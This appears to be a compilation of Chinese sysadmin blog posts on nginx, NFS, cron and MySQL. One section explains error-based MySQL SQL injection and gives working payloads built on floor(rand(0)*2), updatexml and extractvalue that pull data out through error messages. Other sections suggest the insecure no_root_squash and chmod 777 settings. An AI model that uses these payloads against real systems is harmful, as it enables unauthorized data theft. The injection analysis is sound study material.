如何在nginx下实现访问web网站密码认证保护的功能

在某些特定的环境下,我们希望nginx下的web站点在访问时需要用户输入账户密码才能访问。以便拒绝那些不速之客。

其实,配置起来也很简单,按照下面的步骤即可实现。

一、编辑虚拟主机配置文件。

server { 
     listen       80;  //监听端口为80 
     server_name  www.abc.com;  //虚拟主机网址 
     location / { 
            root   sites/www1;  //虚拟主机网站根目录 
            index  index.html index.htm;  //虚拟主机首页 
            auth_basic "secret";  //虚拟主机认证命名 
            auth_basic_user_file /usr/local/nginx/passwd.db; //虚拟主机用户名密码认证数据库 
      } 
      #省略其他配置
      ....
}

二、通过htpasswd命令生成用户名及对应密码数据库文件。

[root@localhost /]#mkdir /usr/local/nginx
[root@localhost /]#vi /usr/local/nginx/passwd.db
[root@localhost /]# htpasswd -c /usr/local/nginx/passwd.db admin  //创建认证信息,admin 为认证用户名 
New password: *******  //输入认证密码 
Re-type new password: ********  //再次输入认证密码 
Adding password for user admin 
[root@localhost /]# chmod 400 /usr/local/nginx/passwd.db      //修改网站认证数据库权限 
[root@localhost /]# chown nginx.  /usr/local/nginx/passwd.db  //修改网站认证数据库属主和属组
[root@localhost /]# cat /usr/local/nginx/passwd.db            //可以看到通过htpasswd生成的密码为加密格式
admin:x/J1o94NgIV2k

三、重新启动nginx即可生效。

service nginx reload

通过上面的三个步骤即可完成在nginx下实现访问web网站密码认证保护的功能。

nginx显示文件目录列表并提供文件下载服务

测试环境:

centos 7 64 位

安装并启动nginx

# yum -y install wget vim
# wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo
# yum clean all
# yum -y install nginx
# iptables -F
# service nginx start

更改nginx配置文件

# cd /etc/nginx/
# cp nginx.conf nginx.conf.bk
# vim nginx.conf   <--找到server字段下的location,更改如下
.......
.......
server {
        listen       80 default_server;
        listen       [::]:80 default_server;
        server_name  _;
        root         /usr/share/nginx/html;
        # Load configuration files for the default server block.
        include /etc/nginx/default.d/*.conf;
        location / {
charset utf-8;
autoindex on;
autoindex_exact_size on;
autoindex_localtime on;
if ($request_filename ~* ^.*?.(txt|doc|pdf|rar|gz|zip|docx|exe|xlsx|ppt|pptx)$){
            add_header Content-Disposition attachment;
            }
        }
        error_page 404 /404.html;
            location = /40x.html {
        }
        error_page 500 502 503 504 /50x.html;
            location = /50x.html {
        }
.......
....... 

新建一些测试文件和文件夹

# cd /usr/share/nginx/html/
# rm -fr *
# touch A{1..9}.txt
# mkdir docs
# mkdir pdf
# chown nginx.nginx /usr/share/nginx/html/ -R
# service nginx reload

浏览器验证访问,如图

未分类

Nginx作HTTP的负载均衡max_fails和fail_timeout如何设置?

很多同学,经常利用Nginx来作HTTP的负载均衡,但是对于Nginx的负载均衡原理却了解得不够,如,今天讲解的max_fails、fail_timeout参数。

一、描述

在Nginx的负载均衡检查模块中,对于负载均衡的节点可以配置如下可选参数参数:

max_fails=1 fail_timeout=10s

这个是Nginx在负载均衡功能中,用于判断后端节点状态,所用到两个参数。

Nginx基于连接探测,如果发现后端异常,在单位周期为fail_timeout设置的时间,中达到max_fails次数,这个周期次数内,如果后端同一个节点不可用,那么接将把节点标记为不可用,并等待下一个周期(同样时常为fail_timeout)再一次去请求,判断是否连接是否成功。

默认:fail_timeout为10s,max_fails为1次。

二、探讨

经过这几天的压力测试和研究,如下:

1、在后端服务能力正常,nginx 可以调节如下阀值,增加其并发能力。

这些参数主要是一次请求,超时时间间隔。课程中有介绍到。

client_header_timeout 30;
client_body_timeout 30;
send_timeout 30;
read_timeout 30;```

这里,表示允许后端节点失败次数,如果调大,Nginx相当于把请求缓冲,如果整体的的后端服务处于可用状态,对于高并发的场景来说,建议适当调大是有效的。

max_fails=10 fail_timeout=60s`

当然,和所有优化阀值一样,数值加大,对应于给Nginx的压力也会相应加大。

2、检测方式及对后端服务性能

Nginx只有当有访问时后,才发起对后端节点探测。如果本次请求中,节点正好出现故障,Nginx将把请求转交给接下来的节点处理。所以不会影响到这次请求的正常进行。

linux 配置nfs挂载共享目录

第一步:安装nfs;

第二步:启动nfs;

service nfs start

第三步:编辑/etc/exports文件;

加入:/xxxdir
xxx.xxx.xxx.xxx(rw,sync,no_root_squash),xxx.xxx.xxx.xxx是要挂载的IP

例如:

/temp      192.168.9.19(rw,sync,no_root_squash)
/共享目录        地址      (权限)

地址可以使用完整IP或网段,也可以地址可以使用主机名,DNS解析的和本地/etc/hosts解析的都行

权限有:  
rw:read-write,可读写;    注意,仅仅这里设置成读写客户端还是不能正常写入,还要正确地设置共享目录的权限,参考问题7  
ro:read-only,只读;  
sync:文件同时写入硬盘和内存;  
async:文件暂存于内存,而不是直接写入内存;  
no_root_squash:NFS客户端连接服务端时如果使用的是root的话,那么对服务端分享的目录来说,也拥有root权限。显然开启这项是不安全的。  
root_squash:NFS客户端连接服务端时如果使用的是root的话,那么对服务端分享的目录来说,拥有匿名用户权限,通常他将使用nobody或nfsnobody身份;  
all_squash:不论NFS客户端连接服务端时使用什么用户,对服务端分享的目录来说都是拥有匿名用户权限;  
anonuid:匿名用户的UID值,通常是nobody或nfsnobody,可以在此处自行设定;  
anongid:匿名用户的GID值。 

第四步:重启nfs服务

service nfs restart

不影响其他挂载目录情况下加载应用exports修改:

exportfs -r
或者
service nfs reload

第五步:在挂载机上(上面例子中192.168.9.19)新建目录,比如/itemp,并更改权限

chmod -R 777 itemp

最后挂载:

mount -t nfs 共享主机IP:/temp /itemp

Linux中利用shell脚本定时检测mysql状态,实现自动重启

问题简介

未分类

最近几个月网站服务器老是半夜挂掉,罪魁祸首就是 mysql 自动停止导致的,那就头痛医头,想办法让Mysql 自动启动起来。要解决这个mysql无规律自动停掉的问题,首先给服务器加个定时执行任务,每分钟去检测一下数据库服务的运行状态,要是down 掉了,就立马启动起来。

处理步骤

第一步,添加定时任务,使用crontab。

crontab -e
*/1 * * * * /目录/文件名.sh

#表示每分钟执行一次 sh 文件

第二步,编写shell执行文件,代码如下:

#!/bin/bash
pgrep -x mysqld &amp;&gt; /dev/null
if [ $? -ne 0 ]
then
echo “At time: `date` :MySQL is stop .”&gt;&gt; /日志路径
/etc/init.d/mysqld start
else
echo “MySQL server is running .”
fi

这里要注意,不能用

service mysqld/mysql start

命令来启动,会导致mysql启动不了,应使用绝对路径,

/etc/init.d/mysqld start

来启动。

另外,也可以不写入日志。删掉>> /日志路径即可。

完成。

就是这么简单。如发现这样操作了,还没有得到期望的结果,可排查crontab是否执行了相应的任务,脚本权限是否够,脚本内部命令或格式是否正确等方面。

如写入

*/1 * * * * echo “test” &gt;&gt; /var/log/test

检测cron是否正确执行。

再看看crontab的执行历史记录:

cd /var/log
tail -100 cron

若权限不够,则加上权限。

chmod 777 ./shell文件.sh

mysql报错注入总结

最近又深刻的研究了一下mysql的报错注入,发现很多值得记录的东西,于是写了这篇博客做一个总结,目的是为了更深刻的理解报错注入

报错注入原因及分类

  • 既然是研究报错注入,那我们先要弄明白为什么我们的注入语句会导致数据库报错,报错的原因我自己总结了一下,有以下几点

重复数据报错,这里的重复主要有两个方面,其中之一是基于主键的唯一性:一个表主键必须是唯一的,如果一个表尝试生成两个相同的主键,就会爆出Duplicate entry ‘1’ for key ‘group_key’的主键重复错误,于是根据这种报错就产生了floor(rand(0)*2)等注入手法,另外一个就是基于列名的唯一性,如果我们在一个表中构造了两个相同的列名,就会产生Duplicate column name的错误,报错方法通常有NAME_CONST,或者利用join和using关键字连接同一个表创建子查询进行报错,这个方法从lctf2017 pcat大佬的writeup中学到的,在我的另一篇文章中会提到

  • 基于数据类型不一致而产生的报错:mysql的一些函数参数要求的是什么数据类型,如果数据类型不符合,自然就会报错,这种报错也是相对容易理解的,根据这种特性产生的报错注入有updatexml,extractvalue等注入手法

  • 基于BIGINT溢出错误的SQL注入,根据超出最大整数溢出产生的错误,这类报错注入是在mysql5.5.5版本后才产生的,5.5.5版本前并不会因为整数溢出而报错,这种注入自己在phpstudy上试了试,mysql版本为5.5.53,虽然报错了但是并没有爆出信息,以后研究出来再补充

  • 其他报错,企业级代码审计这本书上看到的,一些mysql空间函数geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),通过这些报错会产生Illegal non geometric的错误,里面同时包含了我们构造查询语句的信息

原理分析

接下来对上面列出的一些报错注入一个个进行分析

基于主键值重复

floor(rand(0)*2):我们在进行报错注入时用的相对较多的方法,网上给出的报错语句大部分是这样的

id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

看到这是不是有点云里雾里的感觉呢,没关系,我也因为这个语句纠结了一段时间,比如为什么要floor(rand(0)*2),为什么要用到information_schema.tables这个表,接下来我们就把它彻底弄明白,先看rand()这个函数,这个函数都知道是产生随机数的,但是当rand(0)被计算多次时它所产生的值是有规律的,我们以information_schema.tables这个表进行示范,因为它里面的数据多,别的表也可以,只要数据量够多,这样可以使rand(0)计算多次,便于观察,为了更便于观察,我们取前30条记录,查询语句

mysql> select rand(0) from information_schema.tables limit 0,30;

+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
|  0.6387474552157777 |
| 0.33109208227236947 |
|  0.7392180764481594 |
|  0.7028141661573334 |
|  0.2964166321758336 |
|  0.3736406931408129 |
|  0.9789535999102086 |
|  0.7738459508622493 |
|  0.9323689853142658 |
|  0.3403071047182261 |
|  0.9044285983819781 |
|   0.501221708488857 |
|  0.7928227780319962 |
|  0.4604487954270549 |
|  0.9237756737729308 |
| 0.23753201331713425 |
|  0.4163330760005238 |
|  0.3690693707848614 |
|  0.5963476566563805 |
|   0.874530201660963 |
|  0.5836080690693185 |
| 0.29444977109734877 |
|  0.7214246790124333 |
|  0.7237741125037652 |
|  0.4545965562151713 |
| 0.10166047429820567 |
| 0.14451273357915947 |
|  0.4175822757348253 |
+---------------------+
30 rows in set (0.05 sec)

通过多次测试观察可以发现规律,每次执行sql语句多次计算rand(0)时,rand(0)产生的值是总是固定的,不管执行多少次语句,多次计算的rand(0)的前30条总是和上面得计算结果一样,那么可以做出结论之后的结果也总是一样,观察上述计算结果,看似杂乱的数值其实都有着一个范围界限,那就是0~0.5,0.5~1,我们将rand(0)*2再观察一下

mysql> select rand(0)*2 from information_schema.columns limit 0,30;

+---------------------+
| rand(0)*2           |
+---------------------+
|  0.3104408553898715 |
|   1.241763483026776 |
|  1.2774949104315554 |
|  0.6621841645447389 |
|  1.4784361528963188 |
|  1.4056283323146668 |
|  0.5928332643516672 |
|  0.7472813862816258 |
|  1.9579071998204172 |
|  1.5476919017244986 |
|  1.8647379706285316 |
|  0.6806142094364522 |
|  1.8088571967639562 |
|   1.002443416977714 |
|  1.5856455560639924 |
|  0.9208975908541098 |
|  1.8475513475458616 |
|  0.4750640266342685 |
|  0.8326661520010477 |
|  0.7381387415697228 |
|   1.192695313312761 |
|   1.749060403321926 |
|   1.167216138138637 |
|  0.5888995421946975 |
|  1.4428493580248667 |
|  1.4475482250075304 |
|  0.9091931124303426 |
| 0.20332094859641134 |
| 0.28902546715831895 |
|  0.8351645514696506 |
+---------------------+
30 rows in set (0.69 sec)

此时界限分隔值变成了1,数值都是零点几的小数和一点几的小数,于是用floor处理一下

mysql> select floor(rand(0)*2) from information_schema.columns limit 0,30;

+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
|                1 |
|                0 |
|                0 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                0 |
|                0 |
+------------------+

于是就有了floor(rand(0)2),同样的,每次执行多次floor(rand(0)2),所得的结果也总是这样固定,我们只看前6个数字,总是0,1,1,0,1,1这样的顺序,后面的数也是如此有着自己的顺序

接下来我们构造一个sql语句,它可以报出Duplicate的错误

mysql> select count(*) from information_schema.tables group by floor(rand(0)*2);

ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

分析这条语句,当进行count(),group by聚合函数分组计算时,mysql会创建一个虚拟表,虚拟表由主键列和count()列两列组成,同时floor(rand(0)2)这个值会被计算多次,这一点很重要,计算多次是指在取数据表数据使用group by时,进行一次floor(rand(0)2),如果虚拟表中不存在此数据时,那么在往虚拟表插入数据时,floor(rand(0)2)将会再被计算一次,接下来分析,取数据表第一条记录时第一次使用group by,计算floor(rand(0)2)的值为0,查询虚拟表发现0这个主键不存在,于是再次计算floor(rand(0)2)结果为1,将1作为主键插入虚拟表,这时主键1的count()值为1,接下来取数据表第二条记录时第二次使用group by,计算floor(rand(0)2),结果为1,然后查询虚拟表,发现1的键值存在,于是count()的值加1,取数据表第三条记录时第三次使用group by,计算floor(rand(0)2)值为0,查询虚拟表,发现0的键值不存在,于是再一次计算floor(rand(0)2),结果为1,当尝试将1插入虚拟表中时,发现主键1已经存在,所以报出主键重复的错误,整个过程中查询了information_schema.tables这个表3条记录发生报错,这也是报错为什么需要数据表的记录多到至少为3条的原因,也是为什么选择information_schema.tables表的原因,因为这个表中的记录一定大于三条,由此可知我们其实还以选择information_schema.columns,information_schema.schemata等表

下面构造语句

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,user());
ERROR 1062 (23000): Duplicate entry '1:root@localhost' for key 'group_key'

是不是看着很眼熟,没错,这就是我们在开头给出的那个复杂的语句,只不过开头的那个加了个子查询,其实and后的括号里直接写这个语句也能达到一样的效果

mysql> select * from user where id=1 and (select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,user()));
ERROR 1062 (23000): Duplicate entry '1:root@localhost' for key 'group_key'

把user()换成其他查询语句,就可以注入出别的数据

基于数据类型的不一致

updatexml(1,XPATH,1)函数的第二个参数要求为XPATH格式,如果我们把它改为字符串格式,那么就会爆出XPATH syntax error的错误,于是构造sql语句

mysql> select * from user where id=1 and updatexml(1,(concat(1,user())),1);
ERROR 1105 (HY000): XPATH syntax error: 'root@localhost'

利用concat函数返回字符串产生报错,同样的函数还有extractvalue(1,XPATH)

mysql> select * from user where id=1 and extractvalue(1,(concat(1,user())));
ERROR 1105 (HY000): XPATH syntax error: 'root@localhost'

Mysql表的数据达到千万级别解决思路

在大神的指导下,我总结如下:

1、建立合适的索引

所谓的合适的索引包括很多内容,比如一开始对于where条件里面的sql语句要建立索引,这样才能查询速度变快,至于建立什么样子的索引根据业务自己建立,这这要说下注意点。比如sql里面语句有like,那like的字段就要建立全文索引,sql语句里面‘%’所在的位置因位置不同而起的作用也不同,这个可以问问度娘。当时由于我的where条件比较多,就没有使用联合索引,网上说这个索引在where条件里面效果非常好。

2、优化sql语句

其实操作单表sql语句并不复杂,但这里面所涉及到的知识点也是很多,sql能根据id的最好能依靠id,因为id一般为主键索引,他的查询速度很快。这里可以用mysql里面的explain来查看sql到底性能怎么样,具体可以看这个http://www.fang99.cc/index.php/Home/Article/detail/id/3380.html。

3、分页

其实分页当时我也做了,这个也要有。因为数据大,不可能展示所有的数据给用户看,没这个必要。另外在拼接分页的sql语句能走id最好。

4、数据库容量

网上查资料说mysql的存储数据能达到千万级别,但是我在实际运用中并没有做到大神们的那个样子。后来看了下别人的同类产品,他们直接对数据库的容量定量了,比如只存储一百万数据,超过则提醒用户,并且每更新一条数据就覆盖最后一条数据。

以上仅个人看法,如有不对的地方,希望大神门指导下!

利用MySQL全备份,如何只恢复一个库或者一个表?

未分类

在实际工作中,一个MySQL实例中可能有多个database。而我们备份时,通常采用完全备份,将所有database都备份到一个文件中。

但是,偶尔会遇到只恢复一个database或者一个表的情况。怎么解决呢?

一、利用全备恢复一个库(database)的数据

案例:朋友在群里问, MySQL全库备份。如何只恢复一个库?

1、采用–one-database 选项。不建议使用该方式,经常出现问题。

# mysql -uroot -pxx -D db1 -o 

2、从全备份文件中将需要的库的建表语句和INSERT数据拿出来,然后再导入

# sed -n '/^-- Current Database: `db1`/,/^-- Current Database: `/p' all.dmp > db1.sql 

# mysql -uroot -pxx -D db1 

二、利用全备恢复一张表(table)的数据

生产中遇到开发同事更新表时未加上where条件,造称 order_status 列所有数据都被更新为0.

通常,mysqldump对全库进行备份。恢复时如果恢复全库,太耗时间又没有必要。所以,我们只恢复想要的表即可。

mysqldump备份中,既有表结构,又有INSERT INTO语句包含数据。所以获得者两部分内容即可。

1、获得表结构

# sed -e'/./{H;$!d;}' -e 'x;/CREATE TABLE `ecs_ugo_order_info`/!d;q' mysqldump_2017-05-23.sql 

2、获得INSERT INTO 语句,用于数据的恢复

# grep -i 'INSERT INTO `ecs_ugo_order_info`' mysqldump_2017-05-23.sql >data.sql & 

3、根据得到的表结构创建表,并导入数据

mysql -uroot -pxxx xx 

4、拼接update语句

mysql> select concat('update xx.ecs_ugo_order_info set order_status=',order_status,' where order_id=',order_id,';') from ecs_ugo_order_info into outfile '/tmp/ecs_ugo_order_info_rercovery.sql';  

结果如下:

update xx.ecs_ugo_order_info set order_status=6 where order_id=3254778; 

update xx.ecs_ugo_order_info set order_status=6 where order_id=3254824; 

update xx.ecs_ugo_order_info set order_status=6 where order_id=3254870; 

5、在生产库中将order_status恢复成正常值

# mysql -uroot -pxxx xx < /tmp/ecs_ugo_order_info_rercovery.sql

如何配置MySQL数据库超时设置

最近备战京东双11,在配置MySQL的超时配置发现有很多地方可以设置。这么多超时的配置有什么影响,以及配置会有什么影响呢?今天的文章就让我来大家来分析一下。

1. JDBC超时设置

connectTimeout:表示等待和MySQL数据库建立socket链接的超时时间,默认值0,表示不设置超时,单位毫秒,建议30000

socketTimeout:表示客户端和MySQL数据库建立socket后,读写socket时的等待的超时时间,linux系统默认的socketTimeout为30分钟,可以不设置

2. 连接池超时设置

maxWait:表示从数据库连接池取链接,连接池没有可用连接时的等待时间,默认值0,表示无限等待,单位毫秒,建议60000

未分类

3. MyBatis查询超时

defaultStatementTimeout:表示在MyBatis配置文件中默认查询超时间,单位秒,不设置则无线等待

未分类

如果一些sql需要执行超过defaultStatementTimeout可以通过Mapper文件单独的sql的timeout进行配置

未分类

4. 事务超时

事务超时用于控制事务执行的超时,执行时间是事务内所有代码执行总和,单位为秒。

未分类

总结

高级别的timeout依赖于低级别的timeout,只有当低级别的timeout无误时,高级别的timeout才能确保正常。例如,当socket timeout出现问题时,高级别的statement timeout和transaction timeout都将失效。

1. Transaction Timeout

Spring提供的transaction timeout配置非常简单,它会记录每个事务的开始时间和消耗时间,当特定的事件发生时就会对消耗时间做校验,当超出timeout值时将抛出异常。

假设某个事务中包含5个statement,每个statement的执行时间是200ms,其他业务逻辑的执行时间是100ms,那么transaction timeout至少应该设置为1,100ms(200 * 5 + 100)。

2. Statement Timeout

statement timeout用来限制statement的执行时长,timeout的值通过调用JDBC的java.sql.Statement.setQueryTimeout(int timeout) API进行设置。不过现在开发者已经很少直接在代码中设置,而多是通过框架来进行设置。

在iBatis中,statement timeout的默认值可以通过sql-map-config.xml中的defaultStatementTimeout 属性进行设置。同时,你还可以设置sqlmap中select,insert,update标签的timeout属性,从而对不同sql语句的超时时间进行独立的配置。

3. Socket timeout

JDBC的socket timeout在数据库被突然停掉或是发生网络错误(由于设备故障等原因)时十分重要。由于TCP/IP的结构原因,socket没有办法探测到网络错误,因此应用也无法主动发现数据库连接断开。如果没有设置socket timeout的话,应用在数据库返回结果前会无期限地等下去,这种连接被称为dead connection。

为了避免dead connections,socket必须要有超时配置。socket timeout可以通过JDBC设置,socket timeout能够避免应用在发生网络错误时产生无休止等待的情况,缩短服务失效的时间。

不推荐使用socket timeout来限制statement的执行时长,因此socket timeout的值必须要高于statement timeout,否则,socket timeout将会先生效,这样statement timeout就变得毫无意义,也无法生效。

mysql 查看索引、添加索引、删除索引命令

查看索引

mysql> show index from tblname;
mysql> show keys from tblname;


mysql> show index from center_bank_rate;
+------------------+------------+----------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| Table            | Non_unique | Key_name | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | Index_comment |
+------------------+------------+----------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| center_bank_rate |          0 | PRIMARY  |            1 | id          | A         |           8 |     NULL | NULL   |      | BTREE      |         |               |
+------------------+------------+----------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
1 row in set (0.00 sec)

· Table
表的名称。

· Non_unique
如果索引不能包括重复词,则为0。如果可以,则为1。

· Key_name
索引的名称。

· Seq_in_index
索引中的列序列号,从1开始。

· Column_name
列名称。

· Collation
列以什么方式存储在索引中。在MySQL中,有值‘A’(升序)或NULL(无分类)。

· Cardinality
索引中唯一值的数目的估计值。通过运行ANALYZE TABLE或myisamchk -a可以更新。基数根据被存储为整数的统计数据来计数,所以即使对于小型表,该值也没有必要是精确的。基数越大,当进行联合时,MySQL使用该索引的机 会就越大。

· Sub_part
如果列只是被部分地编入索引,则为被编入索引的字符的数目。如果整列被编入索引,则为NULL。

· Packed
指示关键字如何被压缩。如果没有被压缩,则为NULL。

· Null
如果列含有NULL,则含有YES。如果没有,则该列含有NO。

· Index_type
用过的索引方法(BTREE, FULLTEXT, HASH, RTREE)。

· Comment

添加索引

ALTER TABLE Persons
ADD CONSTRAINT uc_PersonID UNIQUE (Id_P,LastName)

删除索引

mysql> alter table center_bank_rate drop index UK_r60biiucgoujcw6htlywu02bg;

Query OK, 8 rows affected (0.11 sec)
Records: 8  Duplicates: 0  Warnings: 0